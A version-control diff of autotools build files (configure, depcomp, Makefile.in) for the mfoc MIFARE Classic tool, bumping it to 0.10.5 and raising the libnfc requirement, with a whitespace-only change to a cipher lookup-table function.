+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_ac_ct_CC="$ac_prog"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -2972,7 +2953,8 @@ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
 /* end confdefs.h.  */
 #include <stdarg.h>
 #include <stdio.h>
-struct stat;
+#include <sys/types.h>
+#include <sys/stat.h>
 /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */
 struct buf { int x; };
 FILE * (*rcsopen) (struct buf *, struct stat *, int);
@@ -3131,7 +3113,7 @@ case $as_dir/ in #((
     # by default.
     for ac_prog in ginstall scoinst install; do
       for ac_exec_ext in '' $ac_executable_extensions; do
-       if as_fn_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+       if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then
          if test $ac_prog = install &&
            grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
            # AIX install.  It has an incompatible calling convention.
@@ -3300,7 +3282,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_STRIP="${ac_tool_prefix}strip"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -3340,7 +3322,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_ac_ct_STRIP="strip"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -3391,7 +3373,7 @@ do
   test -z "$as_dir" && as_dir=.
     for ac_prog in mkdir gmkdir; do
         for ac_exec_ext in '' $ac_executable_extensions; do
-          as_fn_executable_p "$as_dir/$ac_prog$ac_exec_ext" || continue
+          { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; } || continue
           case `"$as_dir/$ac_prog$ac_exec_ext" --version 2>&1` in #(
             'mkdir (GNU coreutils) '* | \
             'mkdir (coreutils) '* | \
@@ -3444,7 +3426,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_prog_AWK="$ac_prog"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -3593,7 +3575,7 @@ fi
 
 # Define the identity of the package.
  PACKAGE='mfoc'
- VERSION='0.10.3'
+ VERSION='0.10.5'
 
 
 cat >>confdefs.h <<_ACEOF
@@ -3803,7 +3785,7 @@ AM_BACKSLASH='\'
 
 
 # Checks for pkg-config modules.
-LIBNFC_REQUIRED_VERSION=1.6.0
+LIBNFC_REQUIRED_VERSION=1.7.0
 
 
 
@@ -3831,7 +3813,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_path_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -3874,7 +3856,7 @@ do
   IFS=$as_save_IFS
   test -z "$as_dir" && as_dir=.
     for ac_exec_ext in '' $ac_executable_extensions; do
-  if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+  if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
     ac_cv_path_ac_pt_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext"
     $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
     break 2
@@ -4198,7 +4180,7 @@ do
     for ac_prog in grep ggrep; do
     for ac_exec_ext in '' $ac_executable_extensions; do
       ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext"
-      as_fn_executable_p "$ac_path_GREP" || continue
+      { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue
 # Check for GNU ac_path_GREP and select it if it is found.
   # Check for GNU $ac_path_GREP
 case `"$ac_path_GREP" --version 2>&1` in
@@ -4264,7 +4246,7 @@ do
     for ac_prog in egrep; do
     for ac_exec_ext in '' $ac_executable_extensions; do
       ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext"
-      as_fn_executable_p "$ac_path_EGREP" || continue
+      { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue
 # Check for GNU ac_path_EGREP and select it if it is found.
   # Check for GNU $ac_path_EGREP
 case `"$ac_path_EGREP" --version 2>&1` in
@@ -4449,60 +4431,60 @@ else
   cat confdefs.h - <<_ACEOF >conftest.$ac_ext
 /* end confdefs.h.  */
 
-             #include <stdbool.h>
-             #ifndef bool
             "error: bool is not defined"
-             #endif
-             #ifndef false
             "error: false is not defined"
-             #endif
-             #if false
             "error: false is not 0"
-             #endif
-             #ifndef true
             "error: true is not defined"
-             #endif
-             #if true != 1
             "error: true is not 1"
-             #endif
-             #ifndef __bool_true_false_are_defined
             "error: __bool_true_false_are_defined is not defined"
-             #endif
-
-             struct s { _Bool s: 1; _Bool t; } s;
-
-             char a[true == 1 ? 1 : -1];
-             char b[false == 0 ? 1 : -1];
-             char c[__bool_true_false_are_defined == 1 ? 1 : -1];
-             char d[(bool) 0.5 == true ? 1 : -1];
-             /* See body of main program for 'e'.  */
-             char f[(_Bool) 0.0 == false ? 1 : -1];
-             char g[true];
-             char h[sizeof (_Bool)];
-             char i[sizeof s.t];
-             enum { j = false, k = true, l = false * true, m = true * 256 };
-             /* The following fails for
-                HP aC++/ANSI C B3910B A.05.55 [Dec 04 2003]. */
-             _Bool n[m];
-             char o[sizeof n == m * sizeof n[0] ? 1 : -1];
-             char p[-1 - (_Bool) 0 < 0 && -1 - (bool) 0 < 0 ? 1 : -1];
-             /* Catch a bug in an HP-UX C compiler.  See
-                http://gcc.gnu.org/ml/gcc-patches/2003-12/msg02303.html
-                http://lists.gnu.org/archive/html/bug-coreutils/2005-11/msg00161.html
-              */
-             _Bool q = true;
-             _Bool *pq = &q;
+#include <stdbool.h>
+#ifndef bool
+ "error: bool is not defined"
+#endif
+#ifndef false
+ "error: false is not defined"
+#endif
+#if false
+ "error: false is not 0"
+#endif
+#ifndef true
+ "error: true is not defined"
+#endif
+#if true != 1
+ "error: true is not 1"
+#endif
+#ifndef __bool_true_false_are_defined
+ "error: __bool_true_false_are_defined is not defined"
+#endif
+
+       struct s { _Bool s: 1; _Bool t; } s;
+
+       char a[true == 1 ? 1 : -1];
+       char b[false == 0 ? 1 : -1];
+       char c[__bool_true_false_are_defined == 1 ? 1 : -1];
+       char d[(bool) 0.5 == true ? 1 : -1];
+       /* See body of main program for 'e'.  */
+       char f[(_Bool) 0.0 == false ? 1 : -1];
+       char g[true];
+       char h[sizeof (_Bool)];
+       char i[sizeof s.t];
+       enum { j = false, k = true, l = false * true, m = true * 256 };
+       /* The following fails for
+          HP aC++/ANSI C B3910B A.05.55 [Dec 04 2003]. */
+       _Bool n[m];
+       char o[sizeof n == m * sizeof n[0] ? 1 : -1];
+       char p[-1 - (_Bool) 0 < 0 && -1 - (bool) 0 < 0 ? 1 : -1];
+       /* Catch a bug in an HP-UX C compiler.  See
+          http://gcc.gnu.org/ml/gcc-patches/2003-12/msg02303.html
+          http://lists.gnu.org/archive/html/bug-coreutils/2005-11/msg00161.html
+        */
+       _Bool q = true;
+       _Bool *pq = &q;
 
 int
 main ()
 {
 
-             bool e = &s;
-             *pq |= q;
-             *pq |= ! q;
-             /* Refer to every declared value, to avoid compiler optimizations.  */
-             return (!a + !b + !c + !d + !e + !f + !g + !h + !i + !!j + !k + !!l
-                     + !m + !n + !o + !p + !q + !pq);
+       bool e = &s;
+       *pq |= q;
+       *pq |= ! q;
+       /* Refer to every declared value, to avoid compiler optimizations.  */
+       return (!a + !b + !c + !d + !e + !f + !g + !h + !i + !!j + !k + !!l
+               + !m + !n + !o + !p + !q + !pq);
 
   ;
   return 0;
@@ -4517,7 +4499,7 @@ rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
 fi
 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdbool_h" >&5
 $as_echo "$ac_cv_header_stdbool_h" >&6; }
-   ac_fn_c_check_type "$LINENO" "_Bool" "ac_cv_type__Bool" "$ac_includes_default"
+ac_fn_c_check_type "$LINENO" "_Bool" "ac_cv_type__Bool" "$ac_includes_default"
 if test "x$ac_cv_type__Bool" = xyes; then :
 
 cat >>confdefs.h <<_ACEOF
@@ -4527,7 +4509,6 @@ _ACEOF
 
 fi
 
-
 if test $ac_cv_header_stdbool_h = yes; then
 
 $as_echo "#define HAVE_STDBOOL_H 1" >>confdefs.h
@@ -5175,16 +5156,16 @@ if (echo >conf$$.file) 2>/dev/null; then
     # ... but there are two gotchas:
     # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.
     # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.
-    # In both cases, we have to default to `cp -pR'.
+    # In both cases, we have to default to `cp -p'.
     ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe ||
-      as_ln_s='cp -pR'
+      as_ln_s='cp -p'
   elif ln conf$$.file conf$$ 2>/dev/null; then
     as_ln_s=ln
   else
-    as_ln_s='cp -pR'
+    as_ln_s='cp -p'
   fi
 else
-  as_ln_s='cp -pR'
+  as_ln_s='cp -p'
 fi
 rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file
 rmdir conf$$.dir 2>/dev/null
@@ -5244,16 +5225,28 @@ else
   as_mkdir_p=false
 fi
 
-
-# as_fn_executable_p FILE
-# -----------------------
-# Test if FILE is an executable regular file.
-as_fn_executable_p ()
-{
-  test -f "$1" && test -x "$1"
-} # as_fn_executable_p
-as_test_x='test -x'
-as_executable_p=as_fn_executable_p
+if test -x / >/dev/null 2>&1; then
+  as_test_x='test -x'
+else
+  if ls -dL / >/dev/null 2>&1; then
+    as_ls_L_option=L
+  else
+    as_ls_L_option=
+  fi
+  as_test_x='
+    eval sh -c '\''
+      if test -d "$1"; then
+       test -d "$1/.";
+      else
+       case $1 in #(
+       -*)set "./$1";;
+       esac;
+       case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #((
+       ???[sx]*):;;*)false;;esac;fi
+    '\'' sh
+  '
+fi
+as_executable_p=$as_test_x
 
 # Sed expression to map a string onto a valid CPP name.
 as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
@@ -5274,8 +5267,8 @@ cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1
 # report actual input values of CONFIG_FILES etc. instead of their
 # values after options handling.
 ac_log="
-This file was extended by mfoc $as_me 0.10.3, which was
-generated by GNU Autoconf 2.69.  Invocation command line was
+This file was extended by mfoc $as_me 0.10.5, which was
+generated by GNU Autoconf 2.68.  Invocation command line was
 
   CONFIG_FILES    = $CONFIG_FILES
   CONFIG_HEADERS  = $CONFIG_HEADERS
@@ -5340,11 +5333,11 @@ _ACEOF
 cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`"
 ac_cs_version="\\
-mfoc config.status 0.10.3
-configured by $0, generated by GNU Autoconf 2.69,
+mfoc config.status 0.10.5
+configured by $0, generated by GNU Autoconf 2.68,
   with options \\"\$ac_cs_config\\"
 
-Copyright (C) 2012 Free Software Foundation, Inc.
+Copyright (C) 2010 Free Software Foundation, Inc.
 This config.status script is free software; the Free Software Foundation
 gives unlimited permission to copy, distribute and modify it."
 
@@ -5435,7 +5428,7 @@ fi
 _ACEOF
 cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
 if \$ac_cs_recheck; then
-  set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion
+  set X '$SHELL' '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion
   shift
   \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6
   CONFIG_SHELL='$SHELL'
index 0918f1d..688c7c6 100644 (file)
@@ -1,4 +1,4 @@
-AC_INIT([mfoc],[0.10.3],[mifare@nethemba.com])
+AC_INIT([mfoc],[0.10.5],[mifare@nethemba.com])
 
 AC_CONFIG_MACRO_DIR([m4])
 
@@ -13,7 +13,7 @@ AM_INIT_AUTOMAKE
 m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])])
 
 # Checks for pkg-config modules.
-LIBNFC_REQUIRED_VERSION=1.6.0
+LIBNFC_REQUIRED_VERSION=1.7.0
 PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])])
 
 PKG_CONFIG_REQUIRES="libnfc"
diff --git a/depcomp b/depcomp
index 25a39e6..bd0ac08 100755 (executable)
--- a/depcomp
+++ b/depcomp
@@ -1,10 +1,10 @@
 #! /bin/sh
 # depcomp - compile a program generating dependencies as side-effects
 
-scriptversion=2012-03-27.16; # UTC
+scriptversion=2011-12-04.11; # UTC
 
 # Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007, 2009, 2010,
-# 2011, 2012 Free Software Foundation, Inc.
+# 2011 Free Software Foundation, Inc.
 
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -28,7 +28,7 @@ scriptversion=2012-03-27.16; # UTC
 
 case $1 in
   '')
-     echo "$0: No command.  Try '$0 --help' for more information." 1>&2
+     echo "$0: No command.  Try \`$0 --help' for more information." 1>&2
      exit 1;
      ;;
   -h | --h*)
@@ -40,8 +40,8 @@ as side-effects.
 
 Environment variables:
   depmode     Dependency tracking mode.
-  source      Source file read by 'PROGRAMS ARGS'.
-  object      Object file output by 'PROGRAMS ARGS'.
+  source      Source file read by `PROGRAMS ARGS'.
+  object      Object file output by `PROGRAMS ARGS'.
   DEPDIR      directory where to store dependencies.
   depfile     Dependency file to output.
   tmpdepfile  Temporary file to use when outputting dependencies.
@@ -57,12 +57,6 @@ EOF
     ;;
 esac
 
-# A tabulation character.
-tab='  '
-# A newline character.
-nl='
-'
-
 if test -z "$depmode" || test -z "$source" || test -z "$object"; then
   echo "depcomp: Variables source, object and depmode must be set" 1>&2
   exit 1
@@ -108,12 +102,6 @@ if test "$depmode" = msvc7msys; then
    depmode=msvc7
 fi
 
-if test "$depmode" = xlc; then
-   # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency informations.
-   gccflag=-qmakedep=gcc,-MF
-   depmode=gcc
-fi
-
 case "$depmode" in
 gcc3)
 ## gcc 3 implements dependency tracking that does exactly what
@@ -168,14 +156,15 @@ gcc)
 ## The second -e expression handles DOS-style file names with drive letters.
   sed -e 's/^[^:]*: / /' \
       -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
-## This next piece of magic avoids the "deleted header file" problem.
+## This next piece of magic avoids the `deleted header file' problem.
 ## The problem is that when a header file which appears in a .P file
 ## is deleted, the dependency causes make to die (because there is
 ## typically no way to rebuild the header).  We avoid this by adding
 ## dummy dependencies for each header file.  Too bad gcc doesn't do
 ## this for us directly.
-  tr ' ' "$nl" < "$tmpdepfile" |
-## Some versions of gcc put a space before the ':'.  On the theory
+  tr ' ' '
+' < "$tmpdepfile" |
+## Some versions of gcc put a space before the `:'.  On the theory
 ## that the space means something, we add a space to the output as
 ## well.  hp depmode also adds that space, but also prefixes the VPATH
 ## to the object.  Take care to not repeat it in the output.
@@ -214,15 +203,18 @@ sgi)
     # clever and replace this with sed code, as IRIX sed won't handle
     # lines with more than a fixed number of characters (4096 in
     # IRIX 6.2 sed, 8192 in IRIX 6.5).  We also remove comment lines;
-    # the IRIX cc adds comments like '#:fec' to the end of the
+    # the IRIX cc adds comments like `#:fec' to the end of the
     # dependency line.
-    tr ' ' "$nl" < "$tmpdepfile" \
+    tr ' ' '
+' < "$tmpdepfile" \
     | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
-    tr "$nl" ' ' >> "$depfile"
+    tr '
+' ' ' >> "$depfile"
     echo >> "$depfile"
 
     # The second pass generates a dummy entry for each header file.
-    tr ' ' "$nl" < "$tmpdepfile" \
+    tr ' ' '
+' < "$tmpdepfile" \
    | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
    >> "$depfile"
   else
@@ -234,17 +226,10 @@ sgi)
   rm -f "$tmpdepfile"
   ;;
 
-xlc)
-  # This case exists only to let depend.m4 do its work.  It works by
-  # looking at the text of this script.  This case will never be run,
-  # since it is checked for above.
-  exit 1
-  ;;
-
 aix)
   # The C for AIX Compiler uses -M and outputs the dependencies
   # in a .u file.  In older versions, this file always lives in the
-  # current directory.  Also, the AIX compiler puts '$object:' at the
+  # current directory.  Also, the AIX compiler puts `$object:' at the
   # start of each line; $object doesn't have directory information.
   # Version 6 uses the directory in both cases.
   dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
@@ -274,11 +259,12 @@ aix)
     test -f "$tmpdepfile" && break
   done
   if test -f "$tmpdepfile"; then
-    # Each line is of the form 'foo.o: dependent.h'.
+    # Each line is of the form `foo.o: dependent.h'.
     # Do two passes, one to just change these to
-    # '$object: dependent.h' and one to simply 'dependent.h:'.
+    # `$object: dependent.h' and one to simply `dependent.h:'.
     sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
-    sed -e 's,^.*\.[a-z]*:['"$tab"' ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
+    # That's a tab and a space in the [].
+    sed -e 's,^.*\.[a-z]*:[     ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
   else
     # The sourcefile does not contain any dependencies, so just
     # store a dummy comment line, to avoid errors with the Makefile
@@ -289,26 +275,23 @@ aix)
   ;;
 
 icc)
-  # Intel's C compiler anf tcc (Tiny C Compiler) understand '-MD -MF file'.
-  # However on
-  #    $CC -MD -MF foo.d -c -o sub/foo.o sub/foo.c
+  # Intel's C compiler understands `-MD -MF file'.  However on
+  #    icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c
   # ICC 7.0 will fill foo.d with something like
   #    foo.o: sub/foo.c
   #    foo.o: sub/foo.h
-  # which is wrong.  We want
+  # which is wrong.  We want:
   #    sub/foo.o: sub/foo.c
   #    sub/foo.o: sub/foo.h
   #    sub/foo.c:
   #    sub/foo.h:
   # ICC 7.1 will output
   #    foo.o: sub/foo.c sub/foo.h
-  # and will wrap long lines using '\':
+  # and will wrap long lines using :
   #    foo.o: sub/foo.c ... \
   #     sub/foo.h ... \
   #     ...
-  # tcc 0.9.26 (FIXME still under development at the moment of writing)
-  # will emit a similar output, but also prepend the continuation lines
-  # with horizontal tabulation characters.
+
   "$@" -MD -MF "$tmpdepfile"
   stat=$?
   if test $stat -eq 0; then :
@@ -317,21 +300,15 @@ icc)
     exit $stat
   fi
   rm -f "$depfile"
-  # Each line is of the form 'foo.o: dependent.h',
-  # or 'foo.o: dep1.h dep2.h \', or ' dep3.h dep4.h \'.
+  # Each line is of the form `foo.o: dependent.h',
+  # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
   # Do two passes, one to just change these to
-  # '$object: dependent.h' and one to simply 'dependent.h:'.
-  sed -e "s/^[ $tab][ $tab]*/  /" -e "s,^[^:]*:,$object :," \
-    < "$tmpdepfile" > "$depfile"
-  sed '
-    s/[ '"$tab"'][ '"$tab"']*/ /g
-    s/^ *//
-    s/ *\\*$//
-    s/^[^:]*: *//
-    /^$/d
-    /:$/d
-    s/$/ :/
-  ' < "$tmpdepfile" >> "$depfile"
+  # `$object: dependent.h' and one to simply `dependent.h:'.
+  sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
+  # Some versions of the HPUX 10.20 sed can't process this invocation
+  # correctly.  Breaking it into two sed invocations is a workaround.
+  sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" |
+    sed -e 's/$/ :/' >> "$depfile"
   rm -f "$tmpdepfile"
   ;;
 
@@ -367,7 +344,7 @@ hp2)
   done
   if test -f "$tmpdepfile"; then
     sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile"
-    # Add 'dependent.h:' lines.
+    # Add `dependent.h:' lines.
     sed -ne '2,${
               s/^ *//
               s/ \\*$//
@@ -382,9 +359,9 @@ hp2)
 
 tru64)
    # The Tru64 compiler uses -MD to generate dependencies as a side
-   # effect.  'cc -MD -o foo.o ...' puts the dependencies into 'foo.o.d'.
+   # effect.  `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'.
    # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
-   # dependencies in 'foo.d' instead, so we check for that too.
+   # dependencies in `foo.d' instead, so we check for that too.
    # Subdirectories are respected.
    dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
    test "x$dir" = "x$object" && dir=
@@ -430,7 +407,8 @@ tru64)
    done
    if test -f "$tmpdepfile"; then
       sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
-      sed -e 's,^.*\.[a-z]*:['"$tab"' ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
+      # That's a tab and a space in the [].
+      sed -e 's,^.*\.[a-z]*:[   ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
    else
       echo "#dummy" > "$depfile"
    fi
@@ -465,11 +443,11 @@ msvc7)
   p
 }' | $cygpath_u | sort -u | sed -n '
 s/ /\\ /g
-s/\(.*\)/'"$tab"'\1 \\/p
+s/\(.*\)/      \1 \\/p
 s/.\(.*\) \\/\1:/
 H
 $ {
-  s/.*/'"$tab"'/
+  s/.*/        /
   G
   p
 }' >> "$depfile"
@@ -500,7 +478,7 @@ dashmstdout)
     shift
   fi
 
-  # Remove '-o $object'.
+  # Remove `-o $object'.
   IFS=" "
   for arg
   do
@@ -520,14 +498,15 @@ dashmstdout)
   done
 
   test -z "$dashmflag" && dashmflag=-M
-  # Require at least two characters before searching for ':'
+  # Require at least two characters before searching for `:'
   # in the target name.  This is to cope with DOS-style filenames:
-  # a dependency such as 'c:/foo/bar' could be seen as target 'c' otherwise.
+  # a dependency such as `c:/foo/bar' could be seen as target `c' otherwise.
   "$@" $dashmflag |
-    sed 's:^['"$tab"' ]*[^:'"$tab"' ][^:][^:]*\:['"$tab"' ]*:'"$object"'\: :' > "$tmpdepfile"
+    sed 's:^[  ]*[^: ][^:][^:]*\:[    ]*:'"$object"'\: :' > "$tmpdepfile"
   rm -f "$depfile"
   cat < "$tmpdepfile" > "$depfile"
-  tr ' ' "$nl" < "$tmpdepfile" | \
+  tr ' ' '
+' < "$tmpdepfile" | \
 ## Some versions of the HPUX 10.20 sed can't process this invocation
 ## correctly.  Breaking it into two sed invocations is a workaround.
     sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
@@ -583,7 +562,8 @@ makedepend)
   # makedepend may prepend the VPATH from the source file name to the object.
   # No need to regex-escape $object, excess matching of '.' is harmless.
   sed "s|^.*\($object *:\)|\1|" "$tmpdepfile" > "$depfile"
-  sed '1,2d' "$tmpdepfile" | tr ' ' "$nl" | \
+  sed '1,2d' "$tmpdepfile" | tr ' ' '
+' | \
 ## Some versions of the HPUX 10.20 sed can't process this invocation
 ## correctly.  Breaking it into two sed invocations is a workaround.
     sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
@@ -603,7 +583,7 @@ cpp)
     shift
   fi
 
-  # Remove '-o $object'.
+  # Remove `-o $object'.
   IFS=" "
   for arg
   do
@@ -672,8 +652,8 @@ msvisualcpp)
   sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile"
   rm -f "$depfile"
   echo "$object : \\" > "$depfile"
-  sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::'"$tab"'\1 \\:p' >> "$depfile"
-  echo "$tab" >> "$depfile"
+  sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::     \1 \\:p' >> "$depfile"
+  echo "       " >> "$depfile"
   sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile"
   rm -f "$tmpdepfile"
   ;;
index 7d1e282..09ba9be 100644 (file)
@@ -1,4 +1,4 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
+# Makefile.in generated by automake 1.11.3 from Makefile.am.
 # @configure_input@
 
 # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
 
 
 VPATH = @srcdir@
-am__make_dryrun = \
-  { \
-    am__dry=no; \
-    case $$MAKEFLAGS in \
-      *\\[\ \  ]*) \
-        echo 'am--echo: ; @echo "AM"  OK' | $(MAKE) -f - 2>/dev/null \
-          | grep '^AM OK$$' >/dev/null || am__dry=yes;; \
-      *) \
-        for am__flg in $$MAKEFLAGS; do \
-          case $$am__flg in \
-            *=*|--*) ;; \
-            *n*) am__dry=yes; break;; \
-          esac; \
-        done;; \
-    esac; \
-    test $$am__dry = yes; \
-  }
 pkgdatadir = $(datadir)/@PACKAGE@
 pkgincludedir = $(includedir)/@PACKAGE@
 pkglibdir = $(libdir)/@PACKAGE@
@@ -90,11 +73,6 @@ am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@)
 am__v_GEN_0 = @echo "  GEN   " $@;
 SOURCES = $(mfoc_SOURCES)
 DIST_SOURCES = $(mfoc_SOURCES)
-am__can_run_installinfo = \
-  case $$AM_UPDATE_INFO_DIR in \
-    n|no|NO) false;; \
-    *) (install-info --version) >/dev/null 2>&1;; \
-  esac
 am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
 am__vpath_adj = case $$p in \
     $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
@@ -263,11 +241,8 @@ $(ACLOCAL_M4):  $(am__aclocal_m4_deps)
 $(am__aclocal_m4_deps):
 install-binPROGRAMS: $(bin_PROGRAMS)
        @$(NORMAL_INSTALL)
+       test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)"
        @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
-       if test -n "$$list"; then \
-         echo " $(MKDIR_P) '$(DESTDIR)$(bindir)'"; \
-         $(MKDIR_P) "$(DESTDIR)$(bindir)" || exit 1; \
-       fi; \
        for p in $$list; do echo "$$p $$p"; done | \
        sed 's/$(EXEEXT)$$//' | \
        while read p p1; do if test -f $$p; \
@@ -332,18 +307,11 @@ distclean-compile:
 @am__fastdepCC_FALSE@  $(AM_V_CC@am__nodep@)$(COMPILE) -c `$(CYGPATH_W) '$<'`
 install-man1: $(dist_man_MANS)
        @$(NORMAL_INSTALL)
-       @list1=''; \
-       list2='$(dist_man_MANS)'; \
-       test -n "$(man1dir)" \
-         && test -n "`echo $$list1$$list2`" \
-         || exit 0; \
-       echo " $(MKDIR_P) '$(DESTDIR)$(man1dir)'"; \
-       $(MKDIR_P) "$(DESTDIR)$(man1dir)" || exit 1; \
-       { for i in $$list1; do echo "$$i"; done;  \
-       if test -n "$$list2"; then \
-         for i in $$list2; do echo "$$i"; done \
-           | sed -n '/\.1[a-z]*$$/p'; \
-       fi; \
+       test -z "$(man1dir)" || $(MKDIR_P) "$(DESTDIR)$(man1dir)"
+       @list=''; test -n "$(man1dir)" || exit 0; \
+       { for i in $$list; do echo "$$i"; done; \
+       l2='$(dist_man_MANS)'; for i in $$l2; do echo "$$i"; done | \
+         sed -n '/\.1[a-z]*$$/p'; \
        } | while read p; do \
          if test -f $$p; then d=; else d="$(srcdir)/"; fi; \
          echo "$$d$$p"; echo "$$p"; \
index 9fc1e5f..b693bc3 100644 (file)
 static uint8_t filterlut[1 << 20];\r
 static void __attribute__((constructor)) fill_lut(void)\r
 {\r
-        uint32_t i;\r
-        for(i = 0; i < 1 << 20; ++i)\r
-                filterlut[i] = filter(i);\r
+  uint32_t i;\r
+  for (i = 0; i < 1 << 20; ++i)\r
+    filterlut[i] = filter(i);\r
 }\r
 #define filter(x) (filterlut[(x) & 0xfffff])\r
 #endif\r
 \r
-static void quicksort(uint32_t* const start, uint32_t* const stop)\r
